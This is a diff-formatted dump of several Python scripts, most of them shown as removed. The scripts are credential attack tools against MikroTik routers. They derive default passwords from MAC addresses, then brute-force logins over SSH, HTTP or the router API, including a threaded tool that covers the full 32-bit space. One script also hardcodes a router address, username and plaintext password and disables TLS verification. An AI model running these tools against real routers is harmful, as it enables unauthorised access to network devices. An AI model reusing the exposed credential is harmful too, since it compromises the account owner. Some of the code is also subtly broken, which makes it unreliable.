|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
|
||||
client.connect(
|
||||
self.host,
|
||||
port=self.port,
|
||||
username=self.username,
|
||||
password=password,
|
||||
timeout=self.timeout,
|
||||
allow_agent=False,
|
||||
look_for_keys=False,
|
||||
)
|
||||
client.close()
|
||||
return True
|
||||
except paramiko.AuthenticationException:
|
||||
return False
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def try_password_http(self, password):
|
||||
"""Try connecting via HTTP."""
|
||||
try:
|
||||
import requests
|
||||
from requests.auth import HTTPBasicAuth
|
||||
except ImportError:
|
||||
print("Error: requests not installed. Install with: pip install requests")
|
||||
return False
|
||||
|
||||
try:
|
||||
response = requests.get(
|
||||
f"http://{self.host}:{self.port}/",
|
||||
auth=HTTPBasicAuth(self.username, password),
|
||||
timeout=self.timeout,
|
||||
)
|
||||
return response.status_code == 200
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def try_password(self, password):
|
||||
"""Try a password."""
|
||||
if self.use_http:
|
||||
return self.try_password_http(password)
|
||||
else:
|
||||
return self.try_password_ssh(password)
|
||||
|
||||
def brute_force(self):
|
||||
"""Run the targeted brute force (256 attempts)."""
|
||||
print("MikroTik Targeted Password Brute Force")
|
||||
print("=" * 50)
|
||||
print()
|
||||
print(f"MAC Address: {self.mac_address}")
|
||||
print(f"Target: {self.host}:{self.port}")
|
||||
print(f"Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
|
||||
print()
|
||||
print("Algorithm:")
|
||||
print(" PWD[0] = MAC[0] XOR 0xD0")
|
||||
print(" PWD[1] = MAC[1]")
|
||||
print(" PWD[2] = NOT(MAC[2])")
|
||||
print(" PWD[3] = 0xFF")
|
||||
print()
|
||||
print("Trying 256 possible passwords (MAC[0] from 0x00 to 0xFF)...")
|
||||
print()
|
||||
|
||||
mac_bytes = self.parse_mac(self.mac_address)
|
||||
start_time = time.time()
|
||||
|
||||
for mac_byte_0 in range(256):
|
||||
password = self.generate_password_for_mac_byte_0(mac_byte_0)
|
||||
self.attempts += 1
|
||||
|
||||
if self.attempts % 32 == 1 or self.attempts == 1:
|
||||
elapsed = time.time() - start_time
|
||||
rate = self.attempts / elapsed if elapsed > 0 else 0
|
||||
print(
|
||||
f"[*] Attempt {self.attempts}/256 ({rate:.1f} pwd/sec) - "
|
||||
f"Trying: {password}"
|
||||
)
|
||||
|
||||
if self.try_password(password):
|
||||
elapsed = time.time() - start_time
|
||||
print()
|
||||
print("=" * 50)
|
||||
print(f"[+] SUCCESS! Password found!")
|
||||
print(f"[+] Password: {password}")
|
||||
print(f"[+] Total attempts: {self.attempts}")
|
||||
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
|
||||
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
|
||||
print("=" * 50)
|
||||
self.found_password = password
|
||||
return password
|
||||
|
||||
elapsed = time.time() - start_time
|
||||
print()
|
||||
print("=" * 50)
|
||||
print("[-] Brute force complete. Password not found.")
|
||||
print(f"[-] This means:")
|
||||
print(f" 1. The constants 0xD0 or 0xFF might not be fixed")
|
||||
print(f" 2. The algorithm might be different")
|
||||
print(f" 3. Or the device might have a different password algorithm")
|
||||
print(f"[*] Total attempts: {self.attempts}/256")
|
||||
print(f"[*] Time elapsed: {elapsed:.2f} seconds")
|
||||
print("=" * 50)
|
||||
return None
|
||||
|
||||
|
||||
def main():
|
||||
"""Main entry point."""
|
||||
parser = argparse.ArgumentParser(
|
||||
description="MikroTik Targeted Password Brute Force (256 attempts)",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
python script.py 18:FD:74:F9:04:FC 192.168.88.1
|
||||
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --method http --port 80
|
||||
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --port 2222
|
||||
""",
|
||||
)
|
||||
|
||||
parser.add_argument("mac", help="MAC address of device (e.g., 18:FD:74:F9:04:FC)")
|
||||
parser.add_argument("host", help="IP address of device (e.g., 192.168.88.1)")
|
||||
parser.add_argument(
|
||||
"--port", type=int, default=22, help="Port number (default: 22 for SSH, 80 for HTTP)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--method",
|
||||
choices=["ssh", "http"],
|
||||
default="ssh",
|
||||
help="Connection method (default: ssh)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--timeout", type=int, default=5, help="Connection timeout in seconds (default: 5)"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Validate MAC address
|
||||
try:
|
||||
brute_forcer = MikroTikTargetedBruteForce(
|
||||
args.mac,
|
||||
args.host,
|
||||
port=args.port,
|
||||
use_http=(args.method == "http"),
|
||||
timeout=args.timeout,
|
||||
)
|
||||
except ValueError as e:
|
||||
print(f"Error: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
# Run brute force
|
||||
password = brute_forcer.brute_force()
|
||||
|
||||
if password:
|
||||
sys.exit(0)
|
||||
else:
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
|
|
@ -1,329 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Comprehensive MikroTik Password Attack
|
||||
Uses reliable API authentication testing with multiple algorithm variations
|
||||
"""
|
||||
|
||||
import socket
|
||||
import time
|
||||
import threading
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
import itertools
|
||||
import random
|
||||
|
||||
class MikroTikAPIAttack:
|
||||
def __init__(self, host, port=8728):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.username = "admin"
|
||||
self.found_password = None
|
||||
self.attempts = 0
|
||||
self.start_time = None
|
||||
self.lock = threading.Lock()
|
||||
self.stop_flag = threading.Event()
|
||||
|
||||
def test_api_password(self, password, timeout=3):
|
||||
"""Test password using MikroTik API - most reliable method"""
|
||||
if self.stop_flag.is_set():
|
||||
return False
|
||||
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout)
|
||||
sock.connect((self.host, self.port))
|
||||
|
||||
def encode_length(length):
|
||||
if length <= 0x7F:
|
||||
return bytes([length])
|
||||
elif length <= 0x3FFF:
|
||||
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||
else:
|
||||
return bytes([0xFF])
|
||||
|
||||
def write_word(word):
|
||||
word_bytes = word.encode('utf-8')
|
||||
sock.send(encode_length(len(word_bytes)))
|
||||
sock.send(word_bytes)
|
||||
|
||||
def write_sentence(words):
|
||||
for word in words:
|
||||
write_word(word)
|
||||
write_word("")
|
||||
|
||||
def read_word():
|
||||
try:
|
||||
length_byte = sock.recv(1)
|
||||
if not length_byte:
|
||||
return ""
|
||||
length = length_byte[0]
|
||||
if length == 0:
|
||||
return ""
|
||||
if length & 0x80:
|
||||
second_byte = sock.recv(1)
|
||||
if not second_byte:
|
||||
return ""
|
||||
length = ((length & 0x7F) << 8) + second_byte[0]
|
||||
|
||||
if length > 500: # Sanity check
|
||||
return ""
|
||||
|
||||
return sock.recv(length).decode('utf-8', 'ignore')
|
||||
except:
|
||||
return ""
|
||||
|
||||
def read_sentence():
|
||||
sentence = []
|
||||
while True:
|
||||
word = read_word()
|
||||
if word == "":
|
||||
break
|
||||
sentence.append(word)
|
||||
return sentence
|
||||
|
||||
# Send login
|
||||
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
|
||||
|
||||
# Read response
|
||||
response = read_sentence()
|
||||
sock.close()
|
||||
|
||||
# Success if we get "!done" without error
|
||||
return response and response[0] == "!done"
|
||||
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def test_password(self, password):
|
||||
"""Test a password and handle progress reporting"""
|
||||
if self.stop_flag.is_set():
|
||||
return False
|
||||
|
||||
with self.lock:
|
||||
self.attempts += 1
|
||||
current_attempts = self.attempts
|
||||
|
||||
# Progress reporting
|
||||
if current_attempts % 50 == 0:
|
||||
elapsed = time.time() - self.start_time
|
||||
rate = current_attempts / elapsed if elapsed > 0 else 0
|
||||
print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
|
||||
|
||||
if self.test_api_password(password):
|
||||
print(f"\n*** PASSWORD FOUND! ***")
|
||||
print(f"Host: {self.host}")
|
||||
print(f"Username: {self.username}")
|
||||
print(f"Password: {password}")
|
||||
print(f"Total attempts: {current_attempts}")
|
||||
elapsed = time.time() - self.start_time
|
||||
print(f"Time taken: {elapsed:.2f} seconds")
|
||||
self.found_password = password
|
||||
self.stop_flag.set()
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def generate_mac_algorithm_variations(mac_address):
|
||||
"""Generate comprehensive MAC-based password variations"""
|
||||
passwords = []
|
||||
|
||||
# Parse MAC
|
||||
mac_clean = mac_address.upper().replace(':', '').replace('-', '')
|
||||
if len(mac_clean) != 12:
|
||||
return passwords
|
||||
|
||||
mac_bytes = [int(mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
|
||||
|
||||
# Test different XOR constants (not just 0xD0)
|
||||
xor_constants = [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0, 0x60, 0x70, 0x50, 0x40]
|
||||
|
||||
# Test different final constants (not just 0xFF)
|
||||
final_constants = [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03, 0xAA, 0x55, 0xF0, 0x0F]
|
||||
|
||||
# Algorithm variations
|
||||
for xor_const in xor_constants:
|
||||
for final_const in final_constants:
|
||||
# Standard algorithm: MAC[0]^XOR, MAC[1], ~MAC[2], FINAL
|
||||
pwd_bytes = [
|
||||
mac_bytes[0] ^ xor_const,
|
||||
mac_bytes[1],
|
||||
(~mac_bytes[2]) & 0xFF,
|
||||
final_const
|
||||
]
|
||||
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
|
||||
# Variation: Different MAC byte positions
|
||||
for i in range(6):
|
||||
for j in range(6):
|
||||
for k in range(6):
|
||||
if i != j and j != k and i != k: # Different positions
|
||||
pwd_bytes = [
|
||||
mac_bytes[i] ^ xor_const,
|
||||
mac_bytes[j],
|
||||
(~mac_bytes[k]) & 0xFF,
|
||||
final_const
|
||||
]
|
||||
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
|
||||
# Direct MAC usage patterns
|
||||
for combo in itertools.permutations(mac_bytes[:4]):
|
||||
hex_str = ''.join(f'{b:02x}' for b in combo)
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
|
||||
# Last/First 4 bytes of MAC
|
||||
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6])
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4])
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
|
||||
return list(set(passwords)) # Remove duplicates
|
||||
|
||||
def generate_pattern_passwords():
|
||||
"""Generate common password patterns"""
|
||||
patterns = []
|
||||
|
||||
# Basic patterns
|
||||
basic = [
|
||||
"0000-0000", "1111-1111", "2222-2222", "ffff-ffff",
|
||||
"aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd",
|
||||
"1234-5678", "8765-4321", "abcd-efab", "dead-beef",
|
||||
"cafe-babe", "feed-face", "babe-face", "c0de-d00d",
|
||||
]
|
||||
patterns.extend(basic)
|
||||
|
||||
# Year-based (installation years)
|
||||
for year in range(2010, 2025):
|
||||
patterns.extend([
|
||||
f"0000-{year:04x}",
|
||||
f"{year:04x}-0000",
|
||||
f"{year:04x}-{year:04x}",
|
||||
f"1234-{year:04x}",
|
||||
f"{year:04x}-1234",
|
||||
])
|
||||
|
||||
# Sequential hex patterns
|
||||
for i in range(0, 16):
|
||||
hex_char = f"{i:x}"
|
||||
patterns.extend([
|
||||
f"{hex_char}{hex_char}{hex_char}{hex_char}-{hex_char}{hex_char}{hex_char}{hex_char}",
|
||||
f"0000-{hex_char}{hex_char}{hex_char}{hex_char}",
|
||||
f"{hex_char}{hex_char}{hex_char}{hex_char}-0000",
|
||||
])
|
||||
|
||||
return patterns
|
||||
|
||||
def generate_incremental_around_base(base_password, range_size=2000):
|
||||
"""Generate passwords around a base password"""
|
||||
passwords = []
|
||||
|
||||
try:
|
||||
# Convert base password to integer
|
||||
hex_str = base_password.replace('-', '')
|
||||
base_int = int(hex_str, 16)
|
||||
|
||||
# Generate passwords around this value
|
||||
for offset in range(-range_size//2, range_size//2 + 1):
|
||||
new_val = base_int + offset
|
||||
if 0 <= new_val <= 0xFFFFFFFF:
|
||||
hex_str = f"{new_val:08x}"
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
except:
|
||||
pass
|
||||
|
||||
return passwords
|
||||
|
||||
def main():
|
||||
import sys
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python3 mikrotik_comprehensive_attack.py <HOST> [MAC] [threads]")
|
||||
print("Example: python3 mikrotik_comprehensive_attack.py 10.250.2.2 B8:69:F4:12:8E:F8 4")
|
||||
sys.exit(1)
|
||||
|
||||
host = sys.argv[1]
|
||||
mac_address = sys.argv[2] if len(sys.argv) > 2 else "B8:69:F4:12:8E:F8"
|
||||
threads = int(sys.argv[3]) if len(sys.argv) > 3 else 4
|
||||
|
||||
print(f"Comprehensive MikroTik Password Attack")
|
||||
print(f"Host: {host}")
|
||||
print(f"MAC: {mac_address}")
|
||||
print(f"Threads: {threads}")
|
||||
print("=" * 60)
|
||||
|
||||
# Generate password candidates
|
||||
print("Generating password candidates...")
|
||||
|
||||
mac_passwords = generate_mac_algorithm_variations(mac_address)
|
||||
print(f"MAC-based algorithms: {len(mac_passwords)} passwords")
|
||||
|
||||
pattern_passwords = generate_pattern_passwords()
|
||||
print(f"Common patterns: {len(pattern_passwords)} passwords")
|
||||
|
||||
# Generate incremental around the standard algorithm result
|
||||
base_mac_clean = mac_address.upper().replace(':', '')
|
||||
base_mac_bytes = [int(base_mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
|
||||
standard_result = f"{base_mac_bytes[0] ^ 0xD0:02x}{base_mac_bytes[1]:02x}{(~base_mac_bytes[2]) & 0xFF:02x}ff"
|
||||
standard_formatted = f"{standard_result[:4]}-{standard_result[4:]}"
|
||||
incremental_passwords = generate_incremental_around_base(standard_formatted, 1000)
|
||||
print(f"Incremental around {standard_formatted}: {len(incremental_passwords)} passwords")
|
||||
|
||||
# Combine all passwords and remove duplicates
|
||||
all_passwords = list(set(mac_passwords + pattern_passwords + incremental_passwords))
|
||||
print(f"Total unique passwords: {len(all_passwords)}")
|
||||
|
||||
# Prioritize: MAC algorithms first, then patterns, then incremental
|
||||
prioritized = mac_passwords + pattern_passwords + incremental_passwords
|
||||
# Remove duplicates while preserving order
|
||||
seen = set()
|
||||
final_passwords = []
|
||||
for pwd in prioritized:
|
||||
if pwd not in seen:
|
||||
seen.add(pwd)
|
||||
final_passwords.append(pwd)
|
||||
|
||||
print(f"Testing {len(final_passwords)} passwords in priority order...")
|
||||
print()
|
||||
|
||||
# Run attack
|
||||
attacker = MikroTikAPIAttack(host)
|
||||
attacker.start_time = time.time()
|
||||
|
||||
# Use ThreadPoolExecutor
|
||||
with ThreadPoolExecutor(max_workers=threads) as executor:
|
||||
future_to_password = {
|
||||
executor.submit(attacker.test_password, pwd): pwd
|
||||
for pwd in final_passwords
|
||||
}
|
||||
|
||||
for future in as_completed(future_to_password):
|
||||
if attacker.stop_flag.is_set():
|
||||
# Cancel remaining tasks
|
||||
for f in future_to_password:
|
||||
f.cancel()
|
||||
break
|
||||
|
||||
try:
|
||||
result = future.result()
|
||||
if result:
|
||||
print(f"\n✓ SUCCESS! Password found: {attacker.found_password}")
|
||||
sys.exit(0)
|
||||
except Exception as e:
|
||||
password = future_to_password[future]
|
||||
print(f"Error testing {password}: {e}")
|
||||
|
||||
if not attacker.found_password:
|
||||
elapsed = time.time() - attacker.start_time
|
||||
print(f"\nAttack completed without success.")
|
||||
print(f"Total attempts: {attacker.attempts}")
|
||||
print(f"Time taken: {elapsed:.2f} seconds")
|
||||
print(f"Rate: {attacker.attempts/elapsed:.1f} passwords/second")
|
||||
print("\nPassword not found in tested algorithms.")
|
||||
print("Consider:")
|
||||
print("1. Device may use different algorithm")
|
||||
print("2. Custom password may be set")
|
||||
print("3. Hardware reset if device is accessible")
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,252 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import ssl
|
||||
import socket
|
||||
import hashlib
|
||||
import binascii
|
||||
import sys
|
||||
import json
|
||||
|
||||
class MikrotikAPI:
|
||||
def __init__(self, host, username, password, port=8729):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.sock = None
|
||||
self.ssl_sock = None
|
||||
|
||||
def connect(self):
|
||||
"""Establish SSL connection to MikroTik router"""
|
||||
try:
|
||||
# Create socket and SSL context
|
||||
context = ssl.create_default_context()
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
# Allow older SSL/TLS versions for compatibility
|
||||
context.set_ciphers('DEFAULT:@SECLEVEL=0')
|
||||
|
||||
# Connect to router
|
||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.sock.settimeout(30) # 30 second timeout
|
||||
self.sock.connect((self.host, self.port))
|
||||
self.ssl_sock = context.wrap_socket(self.sock)
|
||||
|
||||
print(f"Connected to {self.host}:{self.port}")
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Connection failed: {e}")
|
||||
return False
|
||||
|
||||
def disconnect(self):
|
||||
"""Close the connection"""
|
||||
if self.ssl_sock:
|
||||
self.ssl_sock.close()
|
||||
if self.sock:
|
||||
self.sock.close()
|
||||
|
||||
def encode_length(self, length):
|
||||
"""Encode length for MikroTik API protocol"""
|
||||
if length <= 0x7F:
|
||||
return bytes([length])
|
||||
elif length <= 0x3FFF:
|
||||
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||
elif length <= 0x1FFFFF:
|
||||
return bytes([((length >> 16) & 0xFF) | 0xC0,
|
||||
(length >> 8) & 0xFF,
|
||||
length & 0xFF])
|
||||
elif length <= 0xFFFFFFF:
|
||||
return bytes([((length >> 24) & 0xFF) | 0xE0,
|
||||
(length >> 16) & 0xFF,
|
||||
(length >> 8) & 0xFF,
|
||||
length & 0xFF])
|
||||
else:
|
||||
return bytes([0xF0,
|
||||
(length >> 24) & 0xFF,
|
||||
(length >> 16) & 0xFF,
|
||||
(length >> 8) & 0xFF,
|
||||
length & 0xFF])
|
||||
|
||||
def decode_length(self):
|
||||
"""Decode length from MikroTik API protocol"""
|
||||
c = self.ssl_sock.recv(1)[0]
|
||||
|
||||
if (c & 0x80) == 0x00:
|
||||
return c
|
||||
elif (c & 0xC0) == 0x80:
|
||||
return ((c & ~0xC0) << 8) + self.ssl_sock.recv(1)[0]
|
||||
elif (c & 0xE0) == 0xC0:
|
||||
data = self.ssl_sock.recv(2)
|
||||
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
|
||||
elif (c & 0xF0) == 0xE0:
|
||||
data = self.ssl_sock.recv(3)
|
||||
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
|
||||
elif (c & 0xF8) == 0xF0:
|
||||
data = self.ssl_sock.recv(4)
|
||||
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
|
||||
|
||||
def write_word(self, word):
|
||||
"""Send a word to the router"""
|
||||
word_bytes = word.encode('utf-8')
|
||||
self.ssl_sock.send(self.encode_length(len(word_bytes)))
|
||||
self.ssl_sock.send(word_bytes)
|
||||
|
||||
def read_word(self):
|
||||
"""Read a word from the router"""
|
||||
length = self.decode_length()
|
||||
if length == 0:
|
||||
return ""
|
||||
return self.ssl_sock.recv(length).decode('utf-8', 'ignore')
|
||||
|
||||
def write_sentence(self, words):
|
||||
"""Send a sentence (list of words) to the router"""
|
||||
for word in words:
|
||||
self.write_word(word)
|
||||
self.write_word("")
|
||||
|
||||
def read_sentence(self):
|
||||
"""Read a sentence from the router"""
|
||||
sentence = []
|
||||
while True:
|
||||
word = self.read_word()
|
||||
if word == "":
|
||||
break
|
||||
sentence.append(word)
|
||||
return sentence
|
||||
|
||||
def login(self):
|
||||
"""Login to the router using plain password method"""
|
||||
# Send login command
|
||||
self.write_sentence(["/login", f"=name={self.username}", f"=password={self.password}"])
|
||||
|
||||
# Read response
|
||||
response = self.read_sentence()
|
||||
|
||||
if response and response[0] == "!done":
|
||||
print("Login successful")
|
||||
return True
|
||||
else:
|
||||
print(f"Login failed: {response}")
|
||||
return False
|
||||
|
||||
def command(self, cmd, params=None):
|
||||
"""Execute a command on the router"""
|
||||
if params is None:
|
||||
params = []
|
||||
|
||||
# Send command
|
||||
sentence = [cmd] + params
|
||||
self.write_sentence(sentence)
|
||||
|
||||
# Read response
|
||||
results = []
|
||||
while True:
|
||||
sentence = self.read_sentence()
|
||||
if not sentence:
|
||||
break
|
||||
if sentence[0] == "!done":
|
||||
break
|
||||
elif sentence[0] == "!re":
|
||||
# Parse response data
|
||||
result = {}
|
||||
for item in sentence[1:]:
|
||||
if item.startswith("="):
|
||||
parts = item[1:].split("=", 1)
|
||||
if len(parts) == 2:
|
||||
result[parts[0]] = parts[1]
|
||||
else:
|
||||
result[parts[0]] = ""
|
||||
results.append(result)
|
||||
elif sentence[0] == "!trap":
|
||||
print(f"Error: {sentence}")
|
||||
break
|
||||
|
||||
return results
|
||||
|
||||
def main():
|
||||
# Router connection details
|
||||
host = "10.254.254.101"
|
||||
username = "grahamro"
|
||||
password = "cFKhz8q5gPLoucMbcT1Iy58r3IXgc3"
|
||||
|
||||
# Create API instance
|
||||
api = MikrotikAPI(host, username, password)
|
||||
|
||||
try:
|
||||
# Connect and login
|
||||
if not api.connect():
|
||||
return
|
||||
|
||||
if not api.login():
|
||||
return
|
||||
|
||||
print("\nRetrieving IP addresses and subnets...")
|
||||
|
||||
# Get all IP addresses
|
||||
addresses = api.command("/ip/address/print")
|
||||
|
||||
print("\n=== IP Addresses and Subnets ===")
|
||||
for addr in addresses:
|
||||
interface = addr.get('interface', 'unknown')
|
||||
address = addr.get('address', 'unknown')
|
||||
network = addr.get('network', '')
|
||||
actual_interface = addr.get('actual-interface', interface)
|
||||
disabled = addr.get('disabled', 'false')
|
||||
dynamic = addr.get('dynamic', 'false')
|
||||
comment = addr.get('comment', '')
|
||||
|
||||
status = []
|
||||
if disabled == 'true':
|
||||
status.append('disabled')
|
||||
if dynamic == 'true':
|
||||
status.append('dynamic')
|
||||
|
||||
status_str = f" ({', '.join(status)})" if status else ""
|
||||
comment_str = f" - {comment}" if comment else ""
|
||||
|
||||
print(f"\nInterface: {interface} ({actual_interface}){status_str}")
|
||||
print(f" Address: {address}")
|
||||
print(f" Network: {network}{comment_str}")
|
||||
|
||||
# Get routing table for additional subnet information
|
||||
print("\n\n=== Routing Table ===")
|
||||
routes = api.command("/ip/route/print")
|
||||
|
||||
# Filter and display relevant routes
|
||||
for route in routes:
|
||||
dst = route.get('dst-address', '')
|
||||
gateway = route.get('gateway', '')
|
||||
distance = route.get('distance', '')
|
||||
scope = route.get('scope', '')
|
||||
active = route.get('active', 'false')
|
||||
dynamic = route.get('dynamic', 'false')
|
||||
comment = route.get('comment', '')
|
||||
|
||||
# Skip default routes for clarity
|
||||
if dst == '0.0.0.0/0':
|
||||
continue
|
||||
|
||||
status = []
|
||||
if active != 'true':
|
||||
status.append('inactive')
|
||||
if dynamic == 'true':
|
||||
status.append('dynamic')
|
||||
|
||||
status_str = f" ({', '.join(status)})" if status else ""
|
||||
comment_str = f" - {comment}" if comment else ""
|
||||
|
||||
print(f"\nDestination: {dst}{status_str}")
|
||||
print(f" Gateway: {gateway}")
|
||||
if distance:
|
||||
print(f" Distance: {distance}")
|
||||
if scope and scope != '30':
|
||||
print(f" Scope: {scope}")
|
||||
if comment:
|
||||
print(f" Comment: {comment}")
|
||||
|
||||
finally:
|
||||
api.disconnect()
|
||||
print("\nDisconnected from router")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,227 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Ultra-Fast MikroTik Brute Force Attack
|
||||
Optimized for maximum speed with minimal overhead
|
||||
"""
|
||||
|
||||
import socket
|
||||
import time
|
||||
import threading
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import sys
|
||||
import signal
|
||||
import queue
|
||||
|
||||
class FastMikroTikBruteForce:
|
||||
def __init__(self, host, port=8728):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.username = "admin"
|
||||
self.found_password = None
|
||||
self.attempts = 0
|
||||
self.start_time = None
|
||||
self.lock = threading.Lock()
|
||||
self.stop_flag = threading.Event()
|
||||
self.host_bytes = socket.inet_aton(host)
|
||||
|
||||
def fast_api_test(self, password):
|
||||
"""Ultra-fast API test with minimal overhead"""
|
||||
if self.stop_flag.is_set():
|
||||
return False
|
||||
|
||||
try:
|
||||
# Create socket with optimizations
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||
sock.settimeout(1) # Very short timeout
|
||||
|
||||
# Connect
|
||||
sock.connect((self.host, self.port))
|
||||
|
||||
# Pre-build login message for speed
|
||||
login_cmd = "/login"
|
||||
name_param = f"=name={self.username}"
|
||||
pass_param = f"=password={password}"
|
||||
|
||||
# Send each word with length prefix (simplified encoding)
|
||||
def send_word(word):
|
||||
word_bytes = word.encode('utf-8')
|
||||
length = len(word_bytes)
|
||||
if length <= 127:
|
||||
sock.send(bytes([length]) + word_bytes)
|
||||
else:
|
||||
# Skip overly long words for speed
|
||||
return False
|
||||
return True
|
||||
|
||||
# Send login command
|
||||
send_word(login_cmd)
|
||||
send_word(name_param)
|
||||
send_word(pass_param)
|
||||
send_word("") # End sentence
|
||||
|
||||
# Quick response check - just look for first byte
|
||||
try:
|
||||
response = sock.recv(1)
|
||||
if response:
|
||||
# Read a bit more to check for success
|
||||
more_data = sock.recv(10)
|
||||
sock.close()
|
||||
|
||||
# Very basic success detection
|
||||
# "!done" starts with 0x05 (length) + 0x21 ("!")
|
||||
if len(response) > 0 and response[0] == 5:
|
||||
second_response = sock.recv(1)
|
||||
if len(second_response) > 0 and second_response[0] == 0x21: # "!"
|
||||
return True
|
||||
else:
|
||||
sock.close()
|
||||
return False
|
||||
except:
|
||||
sock.close()
|
||||
return False
|
||||
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
return False
|
||||
|
||||
def worker_thread(self, work_queue, result_queue):
|
||||
"""Worker thread that processes password ranges"""
|
||||
while not self.stop_flag.is_set():
|
||||
try:
|
||||
# Get work chunk
|
||||
start_val, end_val = work_queue.get(timeout=1)
|
||||
except queue.Empty:
|
||||
continue
|
||||
|
||||
for value in range(start_val, end_val):
|
||||
if self.stop_flag.is_set():
|
||||
break
|
||||
|
||||
# Convert to password format quickly
|
||||
hex_str = f"{value:08x}"
|
||||
password = f"{hex_str[:4]}-{hex_str[4:]}"
|
||||
|
||||
with self.lock:
|
||||
self.attempts += 1
|
||||
current_attempts = self.attempts
|
||||
|
||||
# Less frequent progress reporting for speed
|
||||
if current_attempts % 500 == 0:
|
||||
elapsed = time.time() - self.start_time
|
||||
rate = current_attempts / elapsed if elapsed > 0 else 0
|
||||
print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec) - Testing: {password}")
|
||||
|
||||
if self.fast_api_test(password):
|
||||
result_queue.put(password)
|
||||
self.stop_flag.set()
|
||||
return
|
||||
|
||||
work_queue.task_done()
|
||||
|
||||
def run_optimized_brute_force(self, max_workers=16, chunk_size=500, start_from=0):
|
||||
"""Run optimized brute force with work queue"""
|
||||
print(f"Ultra-Fast MikroTik Brute Force")
|
||||
print(f"Host: {self.host}")
|
||||
print(f"Workers: {max_workers}")
|
||||
print(f"Chunk size: {chunk_size}")
|
||||
print(f"Starting from: 0x{start_from:08x}")
|
||||
print("=" * 60)
|
||||
|
||||
self.start_time = time.time()
|
||||
|
||||
# Create work and result queues
|
||||
work_queue = queue.Queue(maxsize=max_workers * 4)
|
||||
result_queue = queue.Queue()
|
||||
|
||||
# Start worker threads
|
||||
workers = []
|
||||
for i in range(max_workers):
|
||||
worker = threading.Thread(
|
||||
target=self.worker_thread,
|
||||
args=(work_queue, result_queue),
|
||||
daemon=True
|
||||
)
|
||||
worker.start()
|
||||
workers.append(worker)
|
||||
|
||||
# Producer thread to feed work
|
||||
def producer():
|
||||
current = start_from
|
||||
while current < 0xFFFFFFFF and not self.stop_flag.is_set():
|
||||
end = min(current + chunk_size, 0xFFFFFFFF + 1)
|
||||
try:
|
||||
work_queue.put((current, end), timeout=1)
|
||||
current = end
|
||||
except queue.Full:
|
||||
time.sleep(0.01) # Brief pause if queue full
|
||||
|
||||
producer_thread = threading.Thread(target=producer, daemon=True)
|
||||
producer_thread.start()
|
||||
|
||||
# Monitor for results
|
||||
try:
|
||||
while not self.stop_flag.is_set():
|
||||
try:
|
||||
password = result_queue.get(timeout=1)
|
||||
